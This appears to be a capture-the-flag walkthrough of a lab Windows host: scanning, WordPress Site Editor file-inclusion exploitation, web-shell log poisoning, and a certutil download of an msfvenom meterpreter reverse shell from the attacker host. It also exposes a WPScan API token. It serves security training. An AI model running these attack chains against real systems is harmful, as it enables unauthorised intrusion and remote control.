1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# ifconfig
3

4
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
5
        inet 192.168.0.108  netmask 255.255.255.0  broadcast 192.168.0.255
6
        inet6 fe80::cb0c:b9b1:dfd6:d4a5  prefixlen 64  scopeid 0x20<link>
7
        ether 00:0c:29:3d:0e:65  txqueuelen 1000  (Ethernet)
8
        RX packets 196  bytes 20063 (19.5 KiB)
9
        RX errors 0  dropped 0  overruns 0  frame 0
10
        TX packets 535  bytes 33812 (33.0 KiB)
11
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# arp-scan -l | grep 08:00:27
3

4
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
5
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
6
192.168.0.102   08:00:27:70:a3:d3       (Unknown)

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# rustscan -a 192.168.0.102 --ulimit 5000 -- -A
3
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
4
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
5
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
6
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
7
The Modern Day Port Scanner.
8
________________________________________
9
: http://discord.skerritt.blog         :
10
: https://github.com/RustScan/RustScan :
11
 --------------------------------------
12
I scanned ports so fast, even my computer was surprised.
13

14
[~] The config file is expected to be at "/root/.rustscan.toml"
15
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
16
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
17
Open 192.168.0.102:445
18
Open 192.168.0.102:5985
19
Open 192.168.0.102:8080
20
[~] Starting Script(s)
21
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.0.102
22
Depending on the complexity of the script, results may take some time to appear.
23

24
Completed ARP Ping Scan at 23:18, 0.05s elapsed (1 total hosts)
25
Initiating Parallel DNS resolution of 1 host. at 23:18
26
Completed Parallel DNS resolution of 1 host. at 23:18, 0.04s elapsed
27
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
28
Initiating SYN Stealth Scan at 23:18
29
Scanning 192.168.0.102 [3 ports]
30
Discovered open port 5985/tcp on 192.168.0.102
31
Discovered open port 8080/tcp on 192.168.0.102
32
Discovered open port 445/tcp on 192.168.0.102
33

34
PORT     STATE SERVICE       REASON          VERSION
35
445/tcp  open  microsoft-ds? syn-ack ttl 128
36
5985/tcp open  http          syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
37
|_http-server-header: Microsoft-HTTPAPI/2.0
38
|_http-title: Not Found
39
8080/tcp open  http          syn-ack ttl 128 Apache httpd
40
|_http-open-proxy: Proxy might be redirecting requests
41
|_http-favicon: Unknown favicon MD5: 3BD2EC61324AD4D27CB7B0F484CD4289
42
|_http-title: Did not follow redirect to http://tripladvisor:8080/wordpress/
43
| http-methods:
44
|_  Supported Methods: GET HEAD POST OPTIONS
45
|_http-server-header: Apache
46
MAC Address: 08:00:27:70:A3:D3 (Oracle VirtualBox virtual NIC)
47
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
48
Device type: specialized|phone
49
Running: Microsoft Windows 7|Phone
50
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows
51
OS details: Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0
52
TCP/IP fingerprint:
53
OS:SCAN(V=7.94SVN%E=4%D=1/26%OT=445%CT=%CU=%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
54
OS:69783CF3%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=I%II=I%SS=S%T
55
OS:S=7)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=
56
OS:M5B4NW8ST11%O6=M5B4ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2
57
OS:000)ECN(R=Y%DF=Y%TG=80%W=2000%O=M5B4NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%TG=80%S=O
58
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)U1(R=N)IE(R=Y%DFI=N%TG=80%CD=Z)
59

60
Uptime guess: 0.005 days (since Mon Jan 26 23:12:46 2026)
61
Network Distance: 1 hop
62
TCP Sequence Prediction: Difficulty=260 (Good luck!)
63
IP ID Sequence Generation: Incremental
64
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
65

66
Host script results:
67
| smb2-security-mode:
68
|   2:1:0:
69
|_    Message signing enabled but not required
70
| p2p-conficker:
71
|   Checking for Conficker.C or higher...
72
|   Check 1 (port 23183/tcp): CLEAN (Timeout)
73
|   Check 2 (port 2137/tcp): CLEAN (Timeout)
74
|   Check 3 (port 12633/udp): CLEAN (Timeout)
75
|   Check 4 (port 42984/udp): CLEAN (Timeout)
76
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
77
| smb2-time:
78
|   date: 2026-01-27T20:19:22
79
|_  start_date: 2026-01-27T20:13:04
80
|_clock-skew: 15h59m57s

1
SMB2
2
Message signing enabled but not required

1
enum4linux -a 192.168.0.102

1
nmap -p445 --script smb-enum-shares,smb-enum-users,smb-os-discovery 192.168.0.102

1
5985/tcp open  http  Microsoft HTTPAPI httpd 2.0

1
evil-winrm -i 192.168.0.102 -u USER -p PASS

1
evil-winrm -i 192.168.0.102 -u USER -H NTLM_HASH

1
Apache httpd
2
Redirect → http://tripladvisor:8080/wordpress/

1
echo "192.168.0.102 tripladvisor" >> /etc/hosts

1
http://tripladvisor:8080/wordpress/

1
wpscan --url http://tripladvisor:8080/wordpress/ --enumerate u,p,t

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# enum4linux -a 192.168.0.102
3
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jan 27 03:07:46 2026
4

5
 =========================================( Target Information )=========================================
6

7
Target ........... 192.168.0.102
8
RID Range ........ 500-550,1000-1050
9
Username ......... ''
10
Password ......... ''
11
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
12

13

14
 ===========================( Enumerating Workgroup/Domain on 192.168.0.102 )===========================
15

16

17
[E] Can't find workgroup/domain
18

19

20

21
 ===============================( Nbtstat Information for 192.168.0.102 )===============================
22

23
Looking up status of 192.168.0.102
24
No reply from 192.168.0.102
25

26
 ===================================( Session Check on 192.168.0.102 )===================================
27

28

29
[+] Server 192.168.0.102 allows sessions using username '', password ''
30

31

32
 ================================( Getting domain SID for 192.168.0.102 )================================
33

34
do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED
35

36
[+] Can't determine if host is part of domain or part of a workgroup
37

38

39
 ==================================( OS information on 192.168.0.102 )==================================
40

41

42
[E] Can't get OS info with smbclient
43

44

45
[+] Got OS info for 192.168.0.102 from srvinfo:
46
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
47

48

49
 =======================================( Users on 192.168.0.102 )=======================================
50

51

52
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
53

54

55

56
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
57

58

59
 =================================( Share Enumeration on 192.168.0.102 )=================================
60

61
do_connect: Connection to 192.168.0.102 failed (Error NT_STATUS_IO_TIMEOUT)
62

63
        Sharename       Type      Comment
64
        ---------       ----      -------
65
Reconnecting with SMB1 for workgroup listing.
66
Unable to connect with SMB1 -- no workgroup available
67

68
[+] Attempting to map shares on 192.168.0.102
69

70

71
 ===========================( Password Policy Information for 192.168.0.102 )===========================
72

73
ldapsea
74
[E] Unexpected error from polenum:
75

76

77

78
[+] Attaching to 192.168.0.102 using a NULL share
79

80
[+] Trying protocol 139/SMB...
81

82
        [!] Protocol failed: [Errno Connection error (192.168.0.102:139)] timed out
83

84
[+] Trying protocol 445/SMB...
85

86
        [!] Protocol failed: SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
87

88

89

90
[E] Failed to get password policy with rpcclient
91

92

93

94
 ======================================( Groups on 192.168.0.102 )======================================
95

96

97
[+] Getting builtin groups:
98

99

100
[+]  Getting builtin group memberships:
101

102

103
[+]  Getting local groups:
104

105

106
[+]  Getting local group memberships:
107

108

109
[+]  Getting domain groups:
110

111

112
[+]  Getting domain group memberships:
113

114

115
 ==================( Users on 192.168.0.102 via RID cycling (RIDS: 500-550,1000-1050) )==================
116

117

118
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.
119

120

121
 ===============================( Getting printer info for 192.168.0.102 )===============================
122

123
do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
124

125

126
enum4linux complete on Tue Jan 27 03:08:42 2026

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# echo "192.168.0.102 tripladvisor" >> /etc/hosts

1
wpscan --url http://tripladvisor:8080/wordpress/ \
2
  -e u,vp \
3
  --plugins-detection mixed \
4
  --api-token "NEzNxgvCrcyIZN1aYoHxHyUda29vcAIcsbaCrFngLA0"

1
wpscan --url http://tripladvisor:8080/wordpress/ \
2
  --plugins-detection aggressive \
3
  --plugins-list plugin1,plugin2,plugin3 \
4
  --api-token YOUR_TOKEN

1
wpscan --url http://tripladvisor:8080/wordpress/ \
2
  -e u,ap,at,tt,cb,dbe \
3
  --plugins-detection aggressive \
4
  --themes-detection aggressive \
5
  --api-token YOUR_TOKEN \

1
wpscan --url http://tripladvisor:8080/wordpress/ \
2
  -e u,vp \
3
  --plugins-detection mixed \
4
  --api-token "NEzNxgvCrcyIZN1aYoHxHyUda29vcAIcsbaCrFngLA0"

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# wpscan --url http://tripladvisor:8080/wordpress/  --api-token "NEzNxgvCrcyIZN1aYoHxHyUda29vcAIcsbaCrFngLA0"
3
_______________________________________________________________
4
         __          _______   _____
5
         \ \        / /  __ \ / ____|
6
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
7
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
8
            \  /\  /  | |     ____) | (__| (_| | | | |
9
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
10

11
         WordPress Security Scanner by the WPScan Team
12
                         Version 3.8.28
13
       Sponsored by Automattic - https://automattic.com/
14
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
15
_______________________________________________________________
16

17
[+] URL: http://tripladvisor:8080/wordpress/ [192.168.0.102]
18
[+] Started: Tue Jan 27 03:53:05 2026
19

20
Interesting Finding(s):
21

22
[+] Headers
23
 | Interesting Entry: Server: Apache
24
 | Found By: Headers (Passive Detection)
25
 | Confidence: 100%
26

27
[+] XML-RPC seems to be enabled: http://tripladvisor:8080/wordpress/xmlrpc.php
28
 | Found By: Headers (Passive Detection)
29
 | Confidence: 100%
30
 | Confirmed By:
31
 |  - Link Tag (Passive Detection), 30% confidence
32
 |  - Direct Access (Aggressive Detection), 100% confidence
33
 | References:
34
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
35
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
36
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
37
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
38
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
39

40
[+] WordPress readme found: http://tripladvisor:8080/wordpress/readme.html
41
 | Found By: Direct Access (Aggressive Detection)
42
 | Confidence: 100%
43

44
[+] Upload directory has listing enabled: http://tripladvisor:8080/wordpress/wp-content/uploads/
45
 | Found By: Direct Access (Aggressive Detection)
46
 | Confidence: 100%
47

48
[+] The external WP-Cron seems to be enabled: http://tripladvisor:8080/wordpress/wp-cron.php
49
 | Found By: Direct Access (Aggressive Detection)
50
 | Confidence: 60%
51
 | References:
52
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
53
 |  - https://github.com/wpscanteam/wpscan/issues/1299
54

55
[+] WordPress version 5.1.19 identified (Insecure, released on 2024-06-24).
56
 | Found By: Emoji Settings (Passive Detection)
57
 |  - http://tripladvisor:8080/wordpress/, Match: '-release.min.js?ver=5.1.19'
58
 | Confirmed By: Most Common Wp Includes Query Parameter In Homepage (Passive Detection)
59
 |  - http://tripladvisor:8080/wordpress/wp-includes/css/dist/block-library/style.min.css?ver=5.1.19
60
 |  - http://tripladvisor:8080/wordpress/wp-includes/js/wp-embed.min.js?ver=5.1.19
61
 |
62
 | [!] 2 vulnerabilities identified:
63
 |
64
 | [!] Title: WP < 6.8.3 - Author+ DOM Stored XSS
65
 |     Fixed in: 5.1.21
66
 |     References:
67
 |      - https://wpscan.com/vulnerability/c4616b57-770f-4c40-93f8-29571c80330a
68
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58674
69
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-cross-site-scripting-xss-vulnerability
70
 |      -  https://wordpress.org/news/2025/09/wordpress-6-8-3-release/
71
 |
72
 | [!] Title: WP < 6.8.3 - Contributor+ Sensitive Data Disclosure
73
 |     Fixed in: 5.1.21
74
 |     References:
75
 |      - https://wpscan.com/vulnerability/1e2dad30-dd95-4142-903b-4d5c580eaad2
76
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58246
77
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-sensitive-data-exposure-vulnerability
78
 |      - https://wordpress.org/news/2025/09/wordpress-6-8-3-release/
79

80
[+] WordPress theme in use: expert-adventure-guide
81
 | Location: http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/
82
 | Last Updated: 2026-01-13T00:00:00.000Z
83
 | Readme: http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/readme.txt
84
 | [!] The version is out of date, the latest version is 11.4
85
 | Style URL: http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/style.css?ver=5.1.19
86
 | Style Name: Expert Adventure Guide
87
 | Style URI: https://www.seothemesexpert.com/wordpress/free-adventure-wordpress-theme/
88
 | Description: Expert Adventure Guide is a specialized and user-friendly design crafted for professional adventure ...
89
 | Author: drakearthur
90
 | Author URI: https://www.seothemesexpert.com/
91
 |
92
 | Found By: Css Style In Homepage (Passive Detection)
93
 | Confirmed By: Css Style In 404 Page (Passive Detection)
94
 |
95
 | Version: 1.0 (80% confidence)
96
 | Found By: Style (Passive Detection)
97
 |  - http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/style.css?ver=5.1.19, Match: 'Version: 1.0'
98

99
[+] Enumerating All Plugins (via Passive Methods)
100
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
101

102
[i] Plugin(s) Identified:
103

104
[+] editor
105
 | Location: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/
106
 |
107
 | Found By: Urls In Homepage (Passive Detection)
108
 | Confirmed By: Urls In 404 Page (Passive Detection)
109
 |
110
 | Version: 1.1 (100% confidence)
111
 | Found By: Readme - Stable Tag (Aggressive Detection)
112
 |  - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt
113
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
114
 |  - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt
115

116
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
117
[i] No Config Backups Found.
118

119
[+] WPScan DB API OK
120
 | Plan: free
121
 | Requests Done (during the scan): 3
122
 | Requests Remaining: 18

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# searchsploit -s Site Editor
3
------------------------ ---------------------------------
4
 Exploit Title          |  Path
5
------------------------ ---------------------------------
6
Apple WebKit / Safari 1 | multiple/webapps/42064.html
7
CityPost PHP Image Edit | php/webapps/25459.txt
8
CKEditor - 'posteddata. | php/webapps/38322.txt
9
CKEditor 5 35.4.0 - Cro | php/webapps/51260.txt
10
Django CMS 3.3.0 - Edit | python/webapps/40129.txt
11
Dreambox Plugin Bouquet | hardware/webapps/42986.txt
12
Drupal Module CKEditor  | php/webapps/18389.txt
13
Drupal Module CKEditor  | php/webapps/25493.txt
14
EasySite 2.0 - 'image_e | php/webapps/31588.txt
15
FCKEditor Core - 'Edito | php/webapps/37457.html
16
FlexCMS 2.5 - 'inc-core | php/webapps/32254.txt
17
Jax PHP Scripts 1.0/1.3 | php/webapps/26081.txt
18
Kim Websites 1.0 - 'FCK | php/webapps/6410.txt
19
KindEditor - 'name' Cro | php/webapps/37652.txt
20
Mambo Open Source 4.6.2 | php/webapps/32253.txt
21
Moeditor 0.2.0 - Persis | multiple/webapps/49830.js
22
MoinMoin 1.x - 'PageEdi | cgi/webapps/34080.txt
23
MyBB Visual Editor 1.8. | php/webapps/45449.txt
24
Nakid CMS 1.0.2 - 'CKEd | php/webapps/35829.txt
25
Network Weathermap 0.97 | php/webapps/24913.txt
26
ocPortal 7.1.5 - 'code_ | php/webapps/37022.txt
27
Orbis CMS 1.0.2 - 'edit | php/webapps/34253.txt
28
Plesk Small Business Ma | php/webapps/15313.txt
29
pragmaMx 1.12.1 - '/inc | php/webapps/37313.txt
30
Site@School 2.4.10 - 'F | php/webapps/6005.php
31
SiteWare 2.5/3.0/3.1 Ed | java/webapps/20925.txt
32
SnippetMaster Webpage E | php/webapps/8017.txt
33
WordPress Plugin Site E | php/webapps/44340.txt
34
WordPress Plugin User R | php/webapps/25721.txt
35
------------------------ ---------------------------------
36
Shellcodes: No Results

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# searchsploit -p 44340
3
  Exploit: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
4
      URL: https://www.exploit-db.com/exploits/44340
5
     Path: /usr/share/exploitdb/exploits/php/webapps/44340.txt
6
    Codes: CVE-2018-7422
7
 Verified: True
8
File Type: Unicode text, UTF-8 text
9

10
┌──(web)─(root㉿kali)-[/home/kali]
11
└─# cat /usr/share/exploitdb/exploits/php/webapps/44340.txt
12
Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/
13
Vendor: Site Editor
14
Tested version: 1.1.1
15
CVE ID: CVE-2018-7422
16

17
** CVE description **
18
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
19

20
** Technical details **
21
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.
22

23
Vulnerable code:
24
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
25
    require_once $_REQUEST['ajax_path'];
26
}
27

28
https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5
29

30
By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.
31

32
** Proof of Concept **
33
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
34

35
** Solution **
36
No fix available yet.
37

38
** Timeline **
39
03/01/2018: author contacted through siteeditor.org's contact form; no reply
40
16/01/2018: issue report filled on the public GitHub page with no technical details
41
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us "another" e-mail
42
19/01/2018: report sent; author says he will fix this issue "very soon"
43
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
44
14/02/2018: WP Plugins team contacted; no reply
45
06/03/2018: vendor contacted; no reply
46
07/03/2018: vendor contacted; no reply
47
15/03/2018: public disclosure
48

49
** Credits **
50
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).
51

52
--
53
Best Regards,
54

55
Nicolas Buzy-Debat
56
Orange Cyberdefense Singapore (CERT-LEXSI)

1
# 使用Metasploit模块
2
msfconsole
3
search site_editor
4
use exploit/unix/webapp/wp_site_editor_lfi
5
set RHOSTS mamushka.hmv
6
set TARGETURI /
7
run

1
/boot.ini
2
/autoexec.bat
3
/windows/system32/drivers/etc/hosts
4
/windows/repair/SAM
5
/windows/panther/unattended.xml
6
/windows/panther/unattend/unattended.xml
7
/windows/system32/license.rtf
8
/windows/system32/eula.txt

1
** Proof of Concept **
2
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/windows/system32/drivers/etc/hosts"
3
# Copyright (c) 1993-2009 Microsoft Corp.
4
#
5
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
6
#
7
# This file contains the mappings of IP addresses to host names. Each
8
# entry should be kept on an individual line. The IP address should
9
# be placed in the first column followed by the corresponding host name.
10
# The IP address and the host name should be separated by at least one
11
# space.
12
#
13
# Additionally, comments (such as these) may be inserted on individual
14
# lines or following the machine name denoted by a '#' symbol.
15
#
16
# For example:
17
#
18
#      102.54.94.97     rhino.acme.com          # source server
19
#       38.25.63.10     x.acme.com              # x client host
20

21
# localhost name resolution is handled within DNS itself.
22
#       127.0.0.1       localhost
23
#       ::1             localhost
24
{"success":true,"data":{"output":[]}}

1
┌──(kali💀kali)-[~/temp/TriplAdvisor]
2
└─$ ll /usr/share/seclists/Fuzzing/LFI
3
total 872
4
-rw-r--r-- 1 root root 254354 Feb 16  2024 LFI-etc-files-of-all-linux-packages.txt
5
-rw-r--r-- 1 root root  22883 Feb 16  2024 LFI-gracefulsecurity-linux.txt
6
-rw-r--r-- 1 root root   9416 Feb 16  2024 LFI-gracefulsecurity-windows.txt
7
-rw-r--r-- 1 root root  32507 Feb 16  2024 LFI-Jhaddix.txt
8
-rw-r--r-- 1 root root 501947 Feb 16  2024 LFI-LFISuite-pathtotest-huge.txt
9
-rw-r--r-- 1 root root  22215 Feb 16  2024 LFI-LFISuite-pathtotest.txt
10
-rw-r--r-- 1 root root  31898 Feb 16  2024 LFI-linux-and-windows_by-1N3@CrowdShield.txt
11
-rw-r--r-- 1 root root   2165 Feb 16  2024 OMI-Agent-Linux.txt
12

13
┌──(kali💀kali)-[~/temp/TriplAdvisor]
14
└─$ wfuzz -c -w //usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=FUZZ" --hh 72 2>/dev/null
15
********************************************************
16
* Wfuzz 3.1.0 - The Web Fuzzer                         *
17
********************************************************
18

19
Target: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=FUZZ
20
Total requests: 235
21

22
=====================================================================
23
ID           Response   Lines    Word       Chars       Payload
24
=====================================================================
25

26
000000044:   200        7 L      13 W       129 Ch      "C:/Windows/win.ini"
27
000000043:   200        21 L     135 W      861 Ch      "C:/WINDOWS/System32/drivers/etc/hosts"
28
000000048:   200        939 L    15552 W    206724 Ch   "C:/xampp/apache/logs/access.log"
29
000000049:   200        33746    712193 W   5744606 C   "C:/xampp/apache/logs/error.log"
30
                        L                   h
31
000000164:   200        0 L      1 W        37 Ch       "c:/xampp/phpMyAdmin/config.inc.php"
32
000000163:   500        0 L      0 W        0 Ch        "c:/xampp/php/php.ini"
33
000000165:   200        72 L     319 W      2133 Ch     "c:/xampp/sendmail/sendmail.ini"
34
000000160:   200        564 L    2563 W     21507 Ch    "c:/xampp/apache/conf/httpd.conf"
35
000000154:   200        1092 L   17388 W    243793 Ch   "c:/xampp/apache/logs/access.log"
36
000000155:   200        33746    712193 W   5744606 C   "c:/xampp/apache/logs/error.log"
37
                        L                   h
38
000000229:   200        0 L      1 W        37 Ch       "c:/WINDOWS/setuperr.log"
39
000000227:   200        176 L    1036 W     14543 Ch    "c:/WINDOWS/setupact.log"
40
000000219:   200        79 L     585 W      3720 Ch     "c:/WINDOWS/system32/drivers/etc/lmhosts.sam"
41
000000220:   200        16 L     55 W       444 Ch      "c:/WINDOWS/system32/drivers/etc/networks"
42
000000218:   200        21 L     135 W      861 Ch      "c:/WINDOWS/system32/drivers/etc/hosts"
43
000000221:   200        27 L     171 W      1395 Ch     "c:/WINDOWS/system32/drivers/etc/protocol"
44
000000222:   200        285 L    1238 W     17500 Ch    "c:/WINDOWS/system32/drivers/etc/services"
45
000000232:   200        2806 L   28871 W    227306 Ch   "c:/WINDOWS/WindowsUpdate.log"
46

47
Total time: 0
48
Processed Requests: 235
49
Filtered Requests: 217
50
Requests/sec.: 0

1
curl -A "<?php system(\$_GET['cmd']);?>"  http://tripladvisor:8080/wordpress/
2
curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\xampp\apache\logs\access.log&cmd=dir"

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# msfvenom -p windows/meterpreter/reverse_tcp \
3
> LHOST=192.168.0.108 LPORT=6666 \
4
> -f exe -o shell.exe
5
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
6
[-] No arch selected, selecting arch: x86 from the payload
7
No encoder specified, outputting raw payload
8
Payload size: 354 bytes
9
Final size of exe file: 73802 bytes
10
Saved as: shell.exe

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# updog -p 8000
3
[+] Serving /home/kali/Desktop/hmv on 0.0.0.0:8000...
4
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
5
 * Running on all addresses (0.0.0.0)
6
 * Running on http://127.0.0.1:8000
7
 * Running on http://192.168.0.108:8000
8
Press CTRL+C to quit

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# arp-scan -l | grep 08:00:27
3

4
192.168.0.110   08:00:27:c0:88:40       PCS Systemtechnik GmbH

1
http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\xampp\apache\logs\access.log&cmd=certutil.exe%20-urlcache%20-split%20-f%20http://192.168.0.108:8000/shell.exe
2
http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\xampp\apache\logs\access.log&cmd=shell.exe

1
msfconsole
2
use exploit/multi/handler
3
set payload windows/meterpreter/reverse_tcp
4
set LHOST 192.168.0.108
5
set LPORT 6666
6
run

1
sf6 > use exploit/multi/handler
2
[*] Using configured payload generic/shell_reverse_tcp
3
msf6 exploit(multi/handler) >
4
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
5
payload => windows/meterpreter/reverse_tcp
6
msf6 exploit(multi/handler) > set LHOST 192.168.0.108
7
LHOST => 192.168.0.108
8
msf6 exploit(multi/handler) > set LPORT 6666
9
LPORT => 6666
10
msf6 exploit(multi/handler) > run
11
[*] Started reverse TCP handler on 192.168.0.108:6666
12
^C[-] Exploit failed [user-interrupt]: Interrupt
13
[-] run: Interrupted
14
msf6 exploit(multi/handler) > run
15
[*] Started reverse TCP handler on 192.168.0.108:6666
16
[*] Sending stage (177734 bytes) to 192.168.0.110
17
[*] Meterpreter session 1 opened (192.168.0.108:6666 -> 192.168.0.110:49186) at 2026-01-27 08:17:16 -0500
18

19
meterpreter > dir
20
Listing: C:\xampp\htdocs\wordpress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes
21
===================================================================================================
22

23
Mode       Size   Type  Last modified   Name
24
----       ----   ----  -------------   ----
25
100666/rw  9400   fil   2024-06-30 13:  ajax_shortcode
26
-rw-rw-                 00:46 -0400     _pattern.php
27
100666/rw  26382  fil   2024-06-30 13:  pagebuilder-op
28
-rw-rw-                 00:46 -0400     tions-manager.
29
                                        class.php
30
100666/rw  68418  fil   2024-06-30 13:  pagebuilder.cl
31
-rw-rw-                 00:46 -0400     ass.php
32
100666/rw  5561   fil   2024-06-30 13:  pagebuildermod
33
-rw-rw-                 00:46 -0400     ules.class.php
34
100666/rw  34306  fil   2024-06-30 13:  pb-shortcodes.
35
-rw-rw-                 00:46 -0400     class.php
36
100666/rw  16293  fil   2024-06-30 13:  pb-skin-loader
37
-rw-rw-                 00:46 -0400     .class.php
38
100777/rw  73802  fil   2026-01-28 00:  shell.exe
39
xrwxrwx                 06:56 -0500
40

41
meterpreter >

1
meterpreter > dir
2
Listing: C:\Users\websvc\Desktop
3
================================
4

5
Mode         Size  Type  Last modified     Name
6
----         ----  ----  -------------     ----
7
100666/rw-r  282   fil   2024-06-29 22:10  desktop.ini
8
w-rw-                    :54 -0400
9
100666/rw-r  33    fil   2024-06-30 13:10  user.txt
10
w-rw-                    :01 -0400
11

12
meterpreter > type user.txt
